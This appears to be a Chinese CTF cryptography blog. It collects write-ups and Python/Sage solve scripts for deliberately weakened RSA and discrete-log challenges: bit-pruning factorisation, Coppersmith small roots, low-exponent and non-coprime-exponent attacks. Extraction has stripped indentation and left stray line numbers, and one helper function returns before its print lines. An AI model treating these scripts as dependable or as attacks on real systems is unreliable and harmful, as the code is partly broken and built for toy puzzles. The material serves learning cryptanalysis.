14
from Crypto.Util.number import *
def myGetPrime():
while True:
x = getRandomNBitInteger(1024) & ((1 << 1024) - 1)//3
if isPrime(x):
return x
p = myGetPrime()
q = myGetPrime()
n = p * q
e = 65537
message = open('flag.txt', 'rb')
m = bytes_to_long(message.read())
c = pow(m, e, n)
open("superstitious-2.txt", "w").write(f"n = {n}\ne = {e}\nc = {c}")

首先关注一下((1 << 1024) - 1)//3这个数,发现是10101010……01,适合剪枝,根据逻辑与操作的特点:全一为一,有零为零。且p*q的低位等于n的低位.

首先知道p和q末尾必是01,再逐步从后向前进行剪枝,又因为只有奇数位有1,每次可以操作两位,用01和00搭配可能性即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Cryptodome.Util.number import inverse, long_to_bytes

n = 550201148354755741271315125069984668413716061796183554308291706476140978529375848655819753667593579308959498512392008673328929157581219035186964125404507736120739215348759388064536447663960474781494820693212364523703341226714116205457869455356277737202439784607342540447463472816215050993875701429638490180199815506308698408730404219351173549572700738532419937183041379726568197333982735249868511771330859806268212026233242635600099895587053175025078998220267857284923478523586874031245098448804533507730432495577952519158565255345194711612376226297640371430160273971165373431548882970946865209008499974693758670929
e = 65537
c = 12785320910832143088122342957660384847883123024416376075086619647021969680401296902000223390419402987207599720081750892719692986089224687862496368722454869160470101334513312534671470957897816352186267364039566768347665078311312979099890672319750445450996125821736515659224070277556345919426352317110605563901547710417861311613471239486750428623317970117574821881877688142593093266784366282508041153548993479036139219677970329934829870592931817113498603787339747542136956697591131562660228145606363369396262955676629503331736406313979079546532031753085902491581634604928829965989997727970438591537519511620204387132


def findp(p, q):
if len(p) == 1024:
pp = int(p, 2)
if n % pp == 0:
print(pp)
print(n // pp)
else:
l = len(p)
pp = int(p, 2)
qq = int(q, 2)
if pp * qq % (2**l) == n % (2**l):
findp("01" + p, "01" + q)
findp("01" + p, "00" + q)
findp("00" + p, "01" + q)
findp("00" + p, "00" + q)

findp('01','01')

p = 11466867937506443031079406557463511000236825156042986330491372554263065048494616429572254582549332374593524344514321333368747919034845244563606383834070804967345648840205613712911286600828703809116499141392947298788689558078395325755136448592591616295144118450804581480471547613492025968699740517273286296657
q = n // p
d = inverse(e, (p - 1) * (q - 1))
print(long_to_bytes(pow(c, d, n)))

3,已知p^q

1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import *
p = getPrime(128)
q = getPrime(128)
n = p*q
xor = p^q
print(f"n = {n}")
print(f"xor = {xor}")

#n = 81273634095521392491945168120330007101677085824054016784875224305683560308213
#xor = 55012774068906519160740720236510369652

​ 搜索条件:

  • 从低位向高位搜索

  • 若xor当前位为1,则可能为两种情况:p为1,q为0 或者 p为0,q为1;反之xor当前位为0,则p为1,q为1 或者 p为0,q为0.

    剪枝条件:

    • 将p和q剩下位全部填充为1,需要满足 p*q > n
    • 将p和q剩下位全部填充为0,需要满足 p*q < n

其实算是第一道题的简化版,当p*q=n或者n mod p=0时结束

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
n = 81273634095521392491945168120330007101677085824054016784875224305683560308213
xor = 55012774068906519160740720236510369652
pbits = 128
ph = ''
qh = ''
xor = str(bin(xor)[2:]).zfill(pbits)

def find(ph,qh):
l0 = len(ph)
l1 = len(qh)
tmp0 = ph + '0' * (pbits-l0)
tmp1 = ph + '1' * (pbits-l0)
tmq0 = qh + '0' * (pbits-l1)
tmq1 = qh + '1' * (pbits-l1)
if int(tmp0,2) * int(tmq0,2) > n:#剪枝条件1
return
if int(tmp1,2) * int(tmq1,2) < n:#剪枝条件2
return

if l0 == pbits:#结束条件
if int(ph,2) * int(qh,2) == n:
print(f'p = {int(ph,2)}')
print(f'q = {int(qh,2)}')
return

else:
if xor[l1] == '1':
find(ph+'0',qh+'1')
find(ph + '1',qh+'0')
else:
find(ph+'1',qh+'1')
find(ph + '0',qh+'0')

find(ph,qh)


#运行结果
'''
p = 270451921611135557038833183249275131423
q = 300510470073047693263940829088190906731
p = 300510470073047693263940829088190906731
q = 270451921611135557038833183249275131423
'''

4,p ^(q >> 16)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *
from secret import secret, flag
def encrypt(m):
return pow(m, e, n)
assert flag == b"dasctf{" + secret + b"}"
e = 11
p = getPrime(512)
q = getPrime(512)
n = p * q
P = getPrime(512)
Q = getPrime(512)
N = P * Q
gift = P ^ (Q >> 16)

print(N, gift, pow(n, e, N))
print(encrypt(bytes_to_long(secret)),
encrypt(bytes_to_long(flag)))

N = 75000029602085996700582008490482326525611947919932949726582734167668021800854674616074297109962078048435714672088452939300776268788888016125632084529419230038436738761550906906671010312930801751000022200360857089338231002088730471277277319253053479367509575754258003761447489654232217266317081318035524086377
gift = 8006730615575401350470175601463518481685396114003290299131469001242636369747855817476589805833427855228149768949773065563676033514362512835553274555294034
pow(n,e,N) = 14183763184495367653522884147951054630177015952745593358354098952173965560488104213517563098676028516541915855754066719475487503348914181674929072472238449853082118064823835322313680705889432313419976738694317594843046001448855575986413338142129464525633835911168202553914150009081557835620953018542067857943
pow(secret,e,n) = 69307306970629523181683439240748426263979206546157895088924929426911355406769672385984829784804673821643976780928024209092360092670457978154309402591145689825571209515868435608753923870043647892816574684663993415796465074027369407799009929334083395577490711236614662941070610575313972839165233651342137645009
pow(flag,e,n) = 46997465834324781573963709865566777091686340553483507705539161842460528999282057880362259416654012854237739527277448599755805614622531827257136959664035098209206110290879482726083191005164961200125296999449598766201435057091624225218351537278712880859703730566080874333989361396420522357001928540408351500991

这里只看一下通过剪枝分解n的操作,其实与上一道题差别不大,但是剪枝条件有所变化。

1,(pp ^ (qq >> 16)) % (2 ** l) == gift % (2 ** l)

2,pp * qq % (2 ** l) == N % (2 ** l)

第二点感觉是都有的,第一点根据题目信息改动即可

tips:因为gift是p异或q右移16位的结果,所以p的最后一位1相当于异或了q的第十七位。这也就是为什么只搜p而不是同时搜p,q,传入的也不是q的末位1而是q的末17位,在调用函数的时候才会有爆破了q后17位的操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
N=75000029602085996700582008490482326525611947919932949726582734167668021800854674616074297109962078048435714672088452939300776268788888016125632084529419230038436738761550906906671010312930801751000022200360857089338231002088730471277277319253053479367509575754258003761447489654232217266317081318035524086377
gift=8006730615575401350470175601463518481685396114003290299131469001242636369747855817476589805833427855228149768949773065563676033514362512835553274555294034
c1=14183763184495367653522884147951054630177015952745593358354098952173965560488104213517563098676028516541915855754066719475487503348914181674929072472238449853082118064823835322313680705889432313419976738694317594843046001448855575986413338142129464525633835911168202553914150009081557835620953018542067857943

def findp(p,q):
if len(p)==512:
p1=int(p,2)
if N % p1 ==0:
print(p1,N//p1)
else:
bit=len(p)
p1=int(p,2)
q1=int(q,2)
if (p1^(q1>>16))%(2**bit)==gift%(2**bit) and p1*q1%(2**bit)==N%(2**bit):#当目前深搜出来的位数符合实际,继续搜索。
findp('1'+p,'1'+q)
findp('0'+p,'1'+q)
findp('0'+p,'0'+q)
findp('1'+p,'0'+q)


for i in range(2**17):
findp('1',bin(i)[2:])#其中i可以看作q的低位

小结

时间关系先暂时收录这四种题型,其实归根结底都是一种问题,即通过p*q=n和题目给出的条件进行剪枝分解n,

关于剪枝,其实感觉没有特定的做法,而是一种思想,就是通过各种方法减少搜索规模,从而提高效率。目前遇到的剪枝都是在RSA中,或许其他的密码体系也会有着这种思想存在?

还感觉比较重要的一点是搜索的顺序,剪枝是一种方法,但是有些时候我们可以通过该变搜索的顺序来进一步提高效率,包括上述提到的首尾剪枝,低位向高位剪枝……继续深挖下去发现涉及到更深一步的算法待后续研究。任重而道远捏{}

前言

第一次打比赛,被新生赛狠狠拷打了QAQ

Complex_dlp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from Crypto.Util.number import *
from secrets import flag


class Complex:
def __init__(self, re, im):
self.re = re
self.im = im

def __mul__(self, c):
re_ = self.re * c.re - self.im * c.im
im_ = self.re * c.im + self.im * c.re
return Complex(re_, im_)

def __str__(self):
if self.im == 0:
return str(self.re)
elif self.re == 0:
if abs(self.im) == 1:
return f"{'-' if self.im < 0 else ''}i"
else:
return f"{self.im}i"
else:
return f"{self.re} {'+' if self.im > 0 else '-'} {abs(self.im)}i"


def complex_pow(c, exp, n):
result = Complex(1, 0)
while exp > 0:
if exp & 1:
result = result * c
result.re = result.re % n
result.im = result.im % n
c = c * c
c.re = c.re % n
c.im = c.im % n
exp >>= 1
return result


flag = flag.strip(b"XYCTF{").strip(b"}")
p = 1127236854942215744482170859284245684922507818478439319428888584898927520579579027
g = Complex(3, 7)
x = bytes_to_long(flag)
#complex_pow(g, x, p)==5699996596230726507553778181714315375600519769517892864468100565238657988087817 + 198037503897625840198829901785272602849546728822078622977599179234202360717671908i


做的时候一直卡在复数转实数上,想到了共轭复数但是没有去仔细研究。

赛后看wp知道了定义image-20240428191957162

这样题目中的g和c都可以通过实部和虚部平方相加的方式转为实数再进行普通的dlp求解

exp:

1
2
3
4
5
6
7
8
from Cryptodome.Util.number import *
import gmpy2
from sympy.ntheory import discrete_log
p=1127236854942215744482170859284245684922507818478439319428888584898927520579579027
g=58
c=(5699996596230726507553778181714315375600519769517892864468100565238657988087817**2)+(198037503897625840198829901785272602849546728822078622977599179234202360717671908**2)
flag=discrete_log(p,c,g)
print(long_to_bytes(flag))

Complex_rsa

与上题类似,也是一个复数域上的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from Crypto.Util.number import *
from secrets import flag


class Complex:
def __init__(self, re, im):
self.re = re
self.im = im

def __mul__(self, c):
re_ = self.re * c.re - self.im * c.im
im_ = self.re * c.im + self.im * c.re
return Complex(re_, im_)

def __str__(self):
if self.im == 0:
return str(self.re)
elif self.re == 0:
if abs(self.im) == 1:
return f"{'-' if self.im < 0 else ''}i"
else:
return f"{self.im}i"
else:
return f"{self.re} {'+' if self.im > 0 else '-'} {abs(self.im)}i"


def complex_pow(c, exp, n):
result = Complex(1, 0)
while exp > 0:
if exp & 1:
result = result * c
result.re = result.re % n
result.im = result.im % n
c = c * c
c.re = c.re % n
c.im = c.im % n
exp >>= 1
return result


m = bytes_to_long(flag)
key = getRandomNBitInteger(m.bit_length())
c = m ^ key
com = Complex(key, c)
p = getPrime(512)
q = getPrime(512)
e = 9
enc = complex_pow(com, e, p * q)
print(enc)
print(Complex(p, q) * Complex(p, q))
# 66350931528185981323649477263900844564494528747802437244889229343520648562164950914433406604580038018765783183569276743239888668912948977370163046257917321742455772852779551569446155827368453262479370103326286297164105599131090881306108546341785251895116423206455175290083968296281375908109039893280371271943 + 65266730684129269806656018828265187384002656633231286337130178390517924611751697965395744944541329793503617856896706439809241745206839328124348693486741656130890593895436661857688522977866438805549144904296596887218275440542852887148071837153436265722614658566275517205322945316112048487893204059562830581004i
# -28814875173103880290298835537218644402443395484370652510062722255203946330565951328874411874019897676900075613671629765922970689802650462822117767927082712245512492082864958877932682404829188622269636302484189627580600076246836248427780151681898051243380477561480415972565859837597822263289141887833338111120 + 235362412848885579543400940934854106052672292040465052424316433330114813432317923674803623227280862945857543620663672974955235166884830751834386990766053503640556408758413592161122945636548462064584183165189050320898315823173824074873376450569212651128285746330837777597290934043912373820690250920839961482862i

已知Complex(p, q) * Complex(p, q),明显通过该式子求得p,q,同时在复数域中phi=(p^2^-1)(q^2^-1),按照一般的思路求e关于phi的逆元即可得到结果,但对于这道题有

gcd(e,p^2^-1)=gcd(e,q^2^-1)=3,所以逆元不存在。

反方向的密码 相思

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *
import hashlib
from secrets import flag


def hash(x):
return hashlib.sha256(x.encode()).digest()


def pad(message):
return message + hash(str(len(message)))


m = bytes_to_long(pad(flag))
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
e = 3
print(pow(m, e, n))
print(n)
# c=120440199294949712392334113337541924034371176306546446428347114627162894108760435789068328282135879182130546564535108930827440004987170619301799710272329673259390065147556073101312748104743572369383346039000998822862286001416166288971531241789864076857299162050026949096919395896174243383291126202796610039053
# n=143413213355903851638663645270518081058249439863120739973910994223793329606595495141951165221740599158773181585002460087410975579141155680671886930801733174300593785562287068287654547100320094291092508723488470015821072834947151827362715749438612812148855627557719115676595686347541785037035334177162406305243
# m=1252734178929444996144243699830218307941015280272407466795285950142407741311749512416560379489724065530428888294520405996969464281930538422811270188075397985

其实就是将sha256看做256进制,256^32^代表将m作为高位拼接到32字节的h之前,其实与二进制移位乘2^n^道理一样。最后copper求小根。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
import hashlib
from tqdm import *


def hash(x):
return hashlib.sha256(x.encode()).digest()

e = 3
c = 120440199294949712392334113337541924034371176306546446428347114627162894108760435789068328282135879182130546564535108930827440004987170619301799710272329673259390065147556073101312748104743572369383346039000998822862286001416166288971531241789864076857299162050026949096919395896174243383291126202796610039053
n = 143413213355903851638663645270518081058249439863120739973910994223793329606595495141951165221740599158773181585002460087410975579141155680671886930801733174300593785562287068287654547100320094291092508723488470015821072834947151827362715749438612812148855627557719115676595686347541785037035334177162406305243

PR.<x> = PolynomialRing(Zmod(n))
for length in trange(20,50):
suffix = bytes_to_long(hash(str(length)))
f = (256^32*x + suffix)^3 - c
f = f.monic()
res = f.small_roots(X=256^length,beta=1,epsilon=0.05)
if(res != []):
print(long_to_bytes(int(res[0])))
break

Rabin攻击

首先引出二次剩余和欧拉准则,欧拉准则的证明又设计涉及费马小定理,下面一一说明。

费马小定理

定义

若p为素数,gcd(a,p)=1,则$a^{p}$≡a(modp),也可写为$a^{p-1}$≡1(modp).

证明

二次剩余

定义

  • p是素数,a不是p的倍数且与一个平方数模p同余,则称a是模p的二次剩余,记作aQR

    例如$2^{2}$≡4(mod13) 则称4是模13的二次剩余

    同样我们把不等于0也不是模p的二次剩余的数称为非二次剩余,记作aNR

RSA原理

生成公私钥

  1. 选取两个不同的大素数p,q,计算N=p*q

  2. 求N的欧拉函数值

    1
    φ(N)=φ(p)φ(q)=(p−1)(q−1)
  3. 选择一个小于 φ(N) 的整数 e ,并且满足 e* 和 φ*(N) 互质,求得 e* 在模 φ(N) 意义下的乘法逆元 d ,有 ed≡1(modφ(N))。t

  4. 销毁 p 和 q

    逆元

    • 乘法逆元

      在加法中,我们有a*+(−a)=0,我们称其互为相反数。
      在乘法中,我们有a⋅(1/a)=1,我们称其互为倒数。
      在矩阵中,我们有M
      ⋅*$M^{-1}$=E,我们称其为逆矩阵。

      但是其实我们可以用一个统一的称呼:逆元,即某种运算下的逆元素,我们会发现,元素和其逆元素进行运算之后总是一个定值,实际上在代数中,他们构成了一个群(不用深究),而我们进行要了解则是在模意义下的乘法逆元。

      在模 p 意义下,指的是后续的所有运算都是在模 p 的条件下满足,例如 3⋅4≠1

      但 (3⋅4)mod11=(1)mod11,对于这种式子我们称其为同余式,并且有专门的同余符号进行表示

      3⋅4≡1(mod11)

      所以参考上面乘法中的逆元运算规则,在模意义下则有

      a⋅*$a^{-1}$≡1(mod*p)

      我们称 a和 $a^{-1}$ 互为在模 p 意义下的乘法逆元。例如上述中的 3 与 4 互为在模 11 下的乘法逆元。

    加密

    c≡$m^{e}$(modN)

    解密

    m≡$c^{d}$(modN)

基本题型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *

flag = b'NSSCTF{******}'

p = getPrime(512)
q = getPrime(512)
n = p*q
e = 65537
phi = (p-1)*(q-1)

m = bytes_to_long(flag)

c = pow(m, e, n)

print(f'p = {p}')
print(f'q = {q}')
print(f'e = {e}')
print(f'c = {c}')

'''
p = 10554915510546378513140074459658086644656654144905337809416976066414771647836950941616441505897207397834928781511863699153349798682451297889979721668885951
q = 8246403321715011123191410826902524505032643184038566851264109473851746507405534573077909160292816825514872584170252311902322051822644609979417178306809223
e = 65537
c = 40005881669517895877352756665523238535105922590962714344556374248977905431683140065629966778249773228248201807844489945346731806741025157651474530811920115794270396320935022110691338083709019538562205165553541077855422953438117902279834449006455379382431883650004540282758907332683496655914597029545677184720

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import *
p = 10554915510546378513140074459658086644656654144905337809416976066414771647836950941616441505897207397834928781511863699153349798682451297889979721668885951
q = 8246403321715011123191410826902524505032643184038566851264109473851746507405534573077909160292816825514872584170252311902322051822644609979417178306809223
e = 65537
c = 40005881669517895877352756665523238535105922590962714344556374248977905431683140065629966778249773228248201807844489945346731806741025157651474530811920115794270396320935022110691338083709019538562205165553541077855422953438117902279834449006455379382431883650004540282758907332683496655914597029545677184720

n=p*q
phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, n)

print(long_to_bytes(m))

延伸题型

1,e与phi不互素

由RSA基本原理可得只有当e与phi互素时,才能求出e在phi下的乘法逆元作为公钥d,而当两者不互素时我们需要采用另外的方法求解

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import *

flag = b'NSSCTF{******}'

p = getPrime(512)
q = getPrime(512)

e = 65537*2

n = p*q

m = bytes_to_long(flag)

c = pow(m, e, n)

print(f'p = {p}')
print(f'q = {q}')
print(f'e = {e}')
print(f'c = {c}')

'''
p = 9927950299160071928293508814174740578824022211226572614475267385787727188317224760986347883270504573953862618573051241506246884352854313099453586586022059
q = 9606476151905841036013578452822151891782938033700390347379468858357928877640534612459734825681004415976431665670102068256547092636766287603818164456689343
e = 131074
c = 68145285629092005589126591120307889109483909395989426479108244531402455690717006058397784318664114589567149811644664654952286387794458474073250495807456996723468838094551501146672038892183058042546944692051403972876692350946611736455784779361761930869993818138259781995078436790236277196516800834433299672560
'''

可知c≡$m^{e}$(modN),且$m^{e}$=$m^{2*65537}$,我们将$m^{2}$看作一个整体并用e=65537加密。此时即可得到的d,解密后开平方即可得到答案。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.number import *
from gmpy2 import *

p = 9927950299160071928293508814174740578824022211226572614475267385787727188317224760986347883270504573953862618573051241506246884352854313099453586586022059
q = 9606476151905841036013578452822151891782938033700390347379468858357928877640534612459734825681004415976431665670102068256547092636766287603818164456689343
e = 131074
c = 68145285629092005589126591120307889109483909395989426479108244531402455690717006058397784318664114589567149811644664654952286387794458474073250495807456996723468838094551501146672038892183058042546944692051403972876692350946611736455784779361761930869993818138259781995078436790236277196516800834433299672560

n = p*q
phi = (p-1)*(q-1)
d = invert(e // 2, phi)
m = pow(c, d, p*q)

print(long_to_bytes(isqrt(m)))

通解

通过归纳总结我们可以得到这类问题的通解(仅限于双因子p,q)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import gmpy2  
import libnum
import rsa
from Cryptodome.PublicKey import RSA



def known_p_q_eprime_c():
p = int(input('请输入一个素数p:'))
q = int(input('请输入另一个素数q:'))
e = int(input('请输入公钥e:'))
c = int(input('请输入密文c:'))

n = p * q
phi = (p - 1) * (q - 1)
t = gmpy2.gcd(e, phi)
d = gmpy2.invert(e // t, phi)
m = pow(c, d, n)

return int(gmpy2.iroot(m, t)[0])
print(f'私钥d:{d}')
print(f'明文m:{m}')
if m != None:
print(f'字符明文:{libnum.n2s(int(m)).decode("utf-8")}')

2,小明文攻击

我们知道加密时

c≡$m^{e}$(modN)

当n极大,e较小时,我们可以假设m很小,即$m^{e}$<n,此时c=$m^{e}$,我们可以直接通过m = iroot(c, e)求解

(我们使用gmpy2中的iroot开任意次方,用法为iroot(10, 3)代表对10开3次方,返回结果为(mpz(2), False),其中第一项为返回的结果,mpzgmpy2包中对整数的封装类,看作一个整数即可,第二项代表这个数是否为完全开放的结果,例如103310并不是一个整数,但gmpy2只会返回取整后的整数值,故通过第二项我们能够知道是否为完全k次方数。

例如iroot(9, 2)返回(mpz(3), True)代表9是一个完全平方数。)

3,低加密指数攻击(e非常小)

同样是n很大,此时的e极小,而当我们用到小明文攻击的方法求解时,发现出错,说明此时$m^{e}$>n,由c≡$m^{e}$(modN)得,$m^{e}$=c+kn,此时我们可以遍历k,当c+kn为一个完全平方数时,即可得到m。

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *
from gmpy2 import *

flag = b'NSSCTF{******}'

p = getPrime(512)
q = getPrime(512)

n = p*q
e = 3
phi = (p-1)*(q-1)
m = bytes_to_long(flag)

c = powmod(m, e, n)

print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')

'''
n = 111573371787314339229652810703380127177507745009618224416171957526984270337589283887959174610818933914845556276472159360153787395638087723501889651641965684241070152541291185349571453536221312112508437223801640552330390095266644485311958102687735113533739324296417077804219395793942670324182191309872918900717
e = 3
c = 90782646242308381145716338972639920044710403094882163620436540965475107006005657722222634294458956650085252212452241377251397323707019480880284004845674260662647720809672266571040936376737882878688872281858048646517100139303896804340224961592424635124272549514473232731744884837572128596217771005209683966262
'''

wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
from gmpy2 import *
n = 111573371787314339229652810703380127177507745009618224416171957526984270337589283887959174610818933914845556276472159360153787395638087723501889651641965684241070152541291185349571453536221312112508437223801640552330390095266644485311958102687735113533739324296417077804219395793942670324182191309872918900717
e = 3
c = 90782646242308381145716338972639920044710403094882163620436540965475107006005657722222634294458956650085252212452241377251397323707019480880284004845674260662647720809672266571040936376737882878688872281858048646517100139303896804340224961592424635124272549514473232731744884837572128596217771005209683966262

for k in range(100000):
cc = c + k*n
res = iroot(cc, e)
if res[1]:
m = res[0]
break

print(long_to_bytes(m))
print('k:',k) # 11

FIRST

首先分解fake_n,使用factordb.com,得到17个质因子

factor

second

阅读题目得真实的n为15个质因子的积,遍历17个质因子中15个的积作为真实的n,并求出phi,写出对应脚本为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Cryptodome.Util.number import *
import gmpy2
import sympy
fake_n_list=[2215221821 , 2290486867 , 2333428577 , 2361589081 , 2446301969 , 2507934301, 2590663067 ,3107210929 ,3278987191,3389689241,3417707929,3429664037,3716624207, 3859354699, 3965529989, 4098704749, 4267348123]
c = 6451324417011540096371899193595274967584961629958072589442231753539333785715373417620914700292158431998640787575661170945478654203892533418902
fake_n = 1
e = 65537
for i in range(len(fake_n_list)):
fake_n *= fake_n_list[i]
for i in range(len(fake_n_list)):
for k in range(len(fake_n_list)):
n=fake_n//(fake_n_list[i]*fake_n_list[k])
phi=1
for j in fake_n_list:
if(j!=fake_n_list[i] and j!=fake_n_list[k]):
phi=phi*(j-1)
d=inverse(e,phi)
x=long_to_bytes(pow(c,d,n))
if(b'begin' in x):
print(x)

得到结果为

begin{y0u_f1nd_th3_re4l_n}

0%